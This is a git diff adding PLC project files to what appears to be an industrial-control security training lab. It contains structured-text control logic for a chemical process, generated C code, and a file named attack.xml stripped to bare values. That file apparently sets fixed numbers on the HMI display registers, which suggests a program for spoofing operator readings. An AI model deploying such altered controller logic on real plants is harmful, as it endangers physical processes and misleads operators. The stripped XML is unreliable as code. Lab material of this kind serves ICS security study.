: REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} 